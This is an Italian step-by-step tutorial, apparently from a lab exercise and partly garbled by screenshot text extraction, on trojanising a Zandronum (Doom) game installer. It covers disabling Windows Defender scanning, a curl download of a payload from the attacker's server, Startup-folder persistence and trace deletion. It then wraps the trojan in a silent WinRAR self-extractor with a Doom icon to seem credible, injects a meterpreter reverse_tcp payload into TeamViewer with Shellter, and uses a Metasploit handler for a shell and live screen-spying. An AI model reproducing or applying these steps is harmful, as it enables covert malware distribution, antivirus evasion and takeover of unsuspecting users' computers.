CREAZIONE DI UNA BACKDOOR IN UN DOWNLOAD DI
GIOCO

STRUMENTI UTILIZZATI:
- VM Kali Linux
- VM Windows 10
- VM Windows 10 VITTIMA
- Shellter
- Metasploit Framework
- Apache2
- Visual Studio
- WinRar

INFORMAZIONI DA CONOSCERE PER LA CORRETTA CONFIGURAZIONE

- proprio indirizzo IP locale (se utilizzeremo questo metodo in una LAN)
- proprio indirizzo IP pubblico (se utilizzeremo questo metodo fuori da una LAN)

SCENARIO

Un utente scarica da un server per appassionati di videogiochi Zandronum per poter giocare
a Doom online. In questo server tutti possono caricare un gioco. L'utente scarica un file
chiamato Zandronum_Installer.exe ma al suo interno vi & del codice dannoso che portera al
download di un eseguibile con all’interno il payload per una connessione reverse_tcp.

VM WINDOWS 10

Per prima cosa creiamo il file in C++ con Visual Studio. Il codice & il seguente.

(Ambito globale)

| comandi Add-MpPreference creano delle esclusioni dalla scansione di Windows Defender
in questo caso escludiamo dalla sua scansione il disco C: e tutti i processi relativi a
quest’ultimo. Usando una serie di # con la scritta INSTALLAZIONE DI ALCUNE LIBRERIE
DI GIOCO MANCANTI andiamo a spiegare il perché del download che la vittima vede in
questo modo

R R
INSTALLAZIONE DI ALCUNE LIBRERIE DI GIOCO MANCANTI

Scrittura richiesta Web
Scrittura del flusso di richiesta in corso... (Mumero di byte scritti: 18173796)




Nella riga dove troviamo il comando curl indichiamo alla macchina di scaricare il file
Hello.zip dall’indirizzo http://192.168.1.12/Hello.zip (indirizzo del pc con Linux con server
apache attivo). Nella riga successiva eseguiamo la decompressione dell’archivio zip. Dopo
di che posizioniamo il file TeamViewer_Setup.exe, file di cui parleremo successivamente,
nella cartella di esecuzione automatica di Windows 10, questa cartella esegue all’avvio in
maniera automatica cid che &€ contenuto al suo interno. Infine per eliminare ogni traccia
eliminiamo la cartella Hello.zip e la cartella decompressa Hello.

Per salvare il file correttamente andiamo su Progetto>Proprieta di (nome progetto).
Selezioniamo Generazione codice>Librerie di runtime>Multithread(/MT)

Pagine delle proprieta di DoomConf 7 X

Configurazione: | Tutte le configurazioni v | Piattaforma: |Win32 ~ Gestione configurazione...
4 Proprieta di configurazione A Abilita condivisione stringhe
Generale Abilita ricompilazione minima Mo (/Gm-}
Avanzate Abilita eccezioni C++ Si (/EHsc)
D?bUQ ) Controllo tipo pid piccolo Mo
ﬂjl i Controlli runtime di base < opzioni diverse>
SR — _I
Libreria di runtime Multithread (/MT)
Generale - - —
Allineamento membri struct Predefinito

Ottimizzazione

Controllo di sicurezza

Abilita controllo di sicurezza (/GS)

Preprocessore :
g =z Guard flusso di controllo
Generazione codice
Linguaggio
Intestazioni precom

Abilita collegamento a livello di funzione <opzioni diverse>

Abilita generazione codice parallelo

Abilita set di istruzioni avanzate MNon impostato

File di output

Informazioni di visu Madello virgola mobile Precise {/fp:precise)

Avanzate Abilita eccezioni virgola mobile
Tutte le opzioni Crea immagine su cui applicare una patch a caldo
Riga di comando

Linker
Strumento Manifesto
Generatore di documer

Informazioni di visualiz

Disabilitato
Abilita mitigazione per I'errore di cablaggio JCC Intel Mo

Mitigazione Spectre
Abilita metadati di continuazione gestione eccezioni

Abilita condivisione stringhe
Indica il compilatore di creare un'unica copia di sola lettura delle stringhe identiche nell'immagine del proegramma e in memoria allo scopo di
ottenere programmi di dimensioni ridotte e un'ottimizzazione denominata condivisione delle stringhe. /01, /02 e /Z] impostano automaticamen...

Successivamente, dato che i comandi scritti in precedenza necessitano dei privilegi di
amministratore, andiamo su Linker>File manifesto e settiamo il Livello di esecuzione
controllo dell’account utente su requireAdministrator (/level=‘requireAdministrator’).

v v v v

Eventi di compilazione .,

< >

Annulla Applica

Pagine delle proprieta di DoomConf T x

Configurazione: | Tutte le configurazioni ~ | Piattaforma: | Win32 ~ Gestione configurazione...

4 Proprieta di configurazione A Genera manifesto Si (/MANIFEST)

Generale File manifesto S({IntDir)S{TargetName)S(TargetExt).intermediate. manifest
Avanzate Dipendenze aggiuntive manifeste
DlEbUQ ] Consenti isolamento Si
Directory di VC++ Abilita controllo dell'account utente 5i ({MANIFESTUAC:)
D C-llrc++ e _I = F A = _— =
_ Livello di esecuzione controllo dell'account utente requireAdministrator (/level="requireAdministrator’) I
Protezione interfaccia utente ignorata dal controllo dell'ac No (fuifccess="false’)
Generale
Eeéug
Sistema

Ottimizzazione
IDL incorporato
Metadati Windows
Avanzate
Tutte le opzioni
Riga di comando
I Strumento Manifesto
I» Generatore di documer
I+ Informazioni di visualiz Genera manifesto
I» Eventi di compilazione .,

£ >

/MANIFEST specifica che il linker deve creare un file manifesto side-by-side.

Compiliamo il programma e nella cartella andiamo a prendere il fle DoomConf.exe e
mettiamo il file all'interno dell’installer originale di Zandronum, ovvero
zandronum3.0-win32-installer.exe, creando con WinRar un archivio auto-estraente.
Selezioniamo entrambi i file e con il tasto destro del mouse selezioniamo Aggiungi ad un
archivio

Annulla Applica



http://192.168.1.12/Hello.zip

1—.* E

i CIrorILeress Tl ]
{Zandronurm Apri

Q Esegui come amministratore
T-Zip
CRC SHA
Ha Analizza con Microsoft Defender...
= Condivisione

Dare accesso a

B8 Aggiungi ad un archivio...

Aggiungi all'archivio "Desktop.rar”

Spuntiamo I'opzione Crea un archivio auto-estraente e rinominiamo I'archivio
Zandronum_lInstaller.exe

B8 rlome archivio e parametri T X
Generali  Avanzati Opzioni  File Copia di sicurezza  Orari  Commento
Mome archivio I Sfoglia...
| Zandronum_Installer.exe| I w |
Profilo predefinito Metodo d'aggiornamento
| Profil... | | Aggiungi e sostituisdi i file -
Formata archivio Opzioni d'archiviazione

@®rar  (JRARE ZIP

Metodo di Compressione [l crea un archivio solido
!Normaie i ! [Jinserisci le informazioni per il recupero
[ verifica i file archiviati

! 23 MB i i [CBlocea larchivio

Dimensione dizionario

Dividi in velumi con dimensione
| VHMB V| | Imposta Parola chiave... |

[ ok | amda || 2 |

Su Avanzati selezioniamo Modulo auto-estraente...

B8 Mome archivie e parametri ? X

Generali Opzioni  File Copia di sicurezza  Orari Commento

Opzioni NTFS Informaz. x il recupero
[15alva le informazioni di sicurezza
[ 5alva gli attributi estesi

[IMemorizza i collegam. simbolici come colleg.

3 |percento

[IMemorizza i collegam. reali come collegam. B [
Compressiong. ..

Wolumi

Il Modulo autc-estraente... i

Pausa prima di ogni volume seguente

Wecchio stile per i nomi dei volumi
Quando finita 'archiviazione

0 = |volumefi di ripristine T
— | Nessuna azione V|

Sistema
[] Archiviazione in secondo piano
[] attendi, s= un'altra copia di WinRAR & attiva




Opzicni avanzate del module auto-estraente

Aggiornamentg

Installa/Configura

Programmi esterni di installazione fconfigurazione

Licenza

Generale Modalita

Esequi dopo l'estrazione

4 x Opzioni avanzate del moduloe auto-estraente ? >
Modulo

Avanzate

Aggiornamento Modulo

Avanzate

Testo iniziale ed Icone Licenza

Installa/Configura Modalits

Generale

Modalita temporanea

DoomConf.exe

zandronum3.0-win32-installer. exe|

Estrai i file in una cartella temporanea

Domanda di conferma opzionale:

Esequi prima dellestrazione

Titolo per il pannello della domanda:

Modalita silenziosa

[] attend e ritorna il codice di usdta

1] Scostamento codice di uscita

Annulla

Opzioni avanzate del modulo auto-estraente

Aggiormamento Testo iniziale ed Icone Licenz
Generale Installa/Configura Modalita
Cancella

file da cancellare nella cartella di destinazione

d ¥I[] [l
Avanzate

() visualizza tutti i messaggi ed | pannelli

() Mascondi solo | pannello iniziale

{®) Nascondi tutto

Opzioni avanzate del modulo auto-estraente ?

? .
et

Aggiornamento

Modalith aggiornamento

stalla/Configura Modalita
Testo iniziale ed Icone

Avanzate

Licenza Modulo

() Estrai e sostituisci i file

| (®) Estrai e aggiorna i file

Scorciatoie

Aggiungi scordatoie. ..

() Aggiorna solo i file esistent

Modalitd sovrascrittura

(") Chiedi prima di sovrascrivere

(®) Sovrascrivi tutti i file
() 5alta i file gia esistent

Richiedi ['accesso come Amministratore



In questo caso ho cercato su internet qualche file .ico di Doom cosi da rendere
l'installazione piu credibile

Opzioni avanzate del modulo auto-estraente ? Pt

Generale Installa/Configurs Modalita Avanzate
Aggiornamento | Testoiniziale ed Icone § Licenza ~ Modulo

Titolo della finestra iniziale

Testo da visualizzare nella finestra iniziale

Carica il testo dal file. .. |

Personalizza icona ed il logo del modulo auto-estraente

Carica il logo dal file lﬂj
| |

Carica l'icona dal file

randronum..  DoomConf

Zandronum.l
nstaller

Ecco il file finale contenente all'interno due
eseguibili, avendo scritto precedentemente nella pagina Installa/Configura nella casella
Esegui dopo I’estrazione prima DoomConf e poi I'installer vero e proprio verra eseguito
prima il codice che abbiamo scritto.

Ora passiamo alla configurazione della macchina virtuale con Kali Linux



VM KALI LINUX

Settiamo la nostra macchina con Kali Linux.
Per prima cosa facciamo partire il nostro server Apache?2 digitando service apache2 start e
ne controlliamo lo stato digitando service apache2 status

u
The Apache HTTP Server
(/lib/systemd/ 1 : i isal ; vendor
(running) sin C L d - 2s ago

ache.org/docs/2.4/
Process: ) S Jusr/sbin/apachectl art (code-exited,
Main PID: 43 (apac )
limit: 4646)

Memory : . 6M
CGroup: / e
fusr/sbin/apa
5 fusr/sbin/a
6 fusr/sbin/a

+ r+

L Y (O O ¥ R ¥y |

e Apache HTTP Server ...
a ¢2: Could nmot reliably de
systemd[1]: Starte ; ] HTTP Server.
... skipping ...
- The Apache HTTP Server

Scarichiamo un installer di un'applicazione a 32-bit in questo caso TeamViewer_Setup.exe.

E—] TeamViewer o) +39051376 3017

& & B & @ F [

Windows Mac Linux Chrome 05 Raspberry Pi
’ HHERY Android i08

TeamViewer per Windows

») Stabilisci connessioni in entrata ed in uscita da qualsiasi dispositivo

) Accesso remoto e supporte in tempo reale

® Coll nline, partecip:

meeting e chat con i tuoi anorator|

(® Inizia ad usare TeamViewer gratuitamente subito dopo

Confronta le licenze

Una volta scaricato il file inseriamo al suo interno il payload malevolo tramite Shellter.



In PE Target inseriamo il percorso del file precedentemente installato e digitiamo invio, nel
giro di qualche secondo riceveremo la seguente schermata.

Shell7er

DisASM.dll was created successfully!

Instructions Traced: 2589

Tracing Time Approx: 1.02 mins.

Starting First Stage Filtering...

Filtering Time Approx: ©.8085 mins.

Digitiamo N e premiamo invio per per rifiutare I'attivazione della Stealth Mode (questa
modalita permette I'esecuzione della backdoor e allo stesso tempo l'installazione, in questo
caso, di TeamViewer). Ora ci troveremo a dover selezionare il payload.




Digitiamo L per usare la lista di payload che ci indica il programma e successivamente
selezioniamo il primo stager ovvero Meterpreter_Reverse_TCP.

Dato che nel codice in C++ precedentemente visto la macchina della vittima avrebbe
scaricato il file Hello.zip dall’indirizzo http://192.168.1.12/Hello.zip (in questo caso Ci
troviamo in una LAN ma in un ambiente differente avremmo potuto inserire I'indirizzo di un
sito web/server per poter scaricare il malware) quindi aggiungiamo TeamViewer_Setup.exe
ad un archivio zip.

Open With "Engrampa Archive Manager"
Open With "Mono Runtime"
Open With "Mono Runtime (Terminal)"
Open With Other Application...

® Cut

© Copy

¥ Move to Trash

B Delete

] (_)pen Terminal Here

= Properties...

B Applications

. Filename: Hello
8 Desktop

Location:
b Other Options

™ = - -
) Help ® Cancel B Create



http://192.168.1.12/Hello.zip

Ora andiamo ad inserire il file Hello.zip nella directory dalla quale apache2 prende la
pagina HTML ovvero su /var/www/html (la cartella & la stessa a meno che non abbiate
fatto modifiche).

* fvarfwwwihtmlfindex-html - Mousepad

Document Help

are using the root account, you may harm your system.

DEVICES .

index. html

NETWORK

Cer

Ho modificato il file index.html aggiungendo il file Hello.zip aggiungendo il tag downlaod.
Una conoscenza, anche basilare, di HTML pud aiutare a comprenderne al meglio il
funzionamento.

Ora € il momento di utilizzare Metasploit Framework per poter creare un collegamento con
la macchina della vittima.

Apriamo una finestra di terminale e digitiamo msfconsole.

https://metasploit.com

[
[
[
[ 7

iliary — 352 post
coders - 10 nops

Avendo utilizzato Meterpreter/reverse_tcp utilizzeremo un exploit/multi/handler.

Digitiamo quindi use exploit/multi/handler e successivamente set PAYLOAD
windows/meterpreter/reverse_tcp.



msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
6 exploit( } » set PAYLOAD windows/meterpreter/reverse_tcp

windows/meterpre /reverse_tcp
} » set LHOST 192.168.1.12

68.1.12

dovremmo anche settare il local host digitando set LHOST nostro_indirizzo_ip. Settate
queste impostazioni mettiamo in ascolto Metasploit in attesa di una connessione
allindirizzo IP 192.168.1.12 e sulla porta 4444.

msf6 exploit( } » run

Started reverse TCP handler on 192.168.1.11:4444

Quando la vittima eseguira il programma e quindi la backdoor si attivera riceveremo le
seguenti righe.

msf6 exploit( )} > run

Da qui abbiamo il controllo della macchina della vittima e digitando il comando shell
apriremo una finestra di terminale Windows.

Process
Channel 1 crea
Microsoft Windows [Versione 10.0.19842.685]
}2@ Microsoft Corporation. Tutti i diritti sono riservati.

\Windows\system32>]]

<DIR>

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

6 Directory 6.825.51 : byte disponibili

»cd Users
cd Users

Il volume nell'unit® C non ha etichetta.
Mumero di serie del volume: DAFA-BD3E

Directory di C:\Users

<DIR>
<DIR> 5
<DIR> Client doom
<DIR>
File z
4 Directory L AL b byte disponibili

Users>cd Client doom

Un comando senZz’altro molto interessante € il comando screenshare



4

meterpreter
Preparing p
Opening
Streaming ...

Metasploit screenshare -19 X+

c @ D file://Iroot/azQpebu@.html o D + INn DO @

Kali Linux Kali Training Kali Tools ¢ Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB

h
2]

Mrcrosott
Edge

Doom
INSTALLER

0oaM
[MSTALLER

Dopo aver digitato questo comando abbiamo la possibilita tramite una finestra di firefox di
vedere in diretta tutto cid che la nostra vittima sta facendo e questo & senz’altro anche utile
per capire il comportamento dei comandi che andiamo ad eseguire.




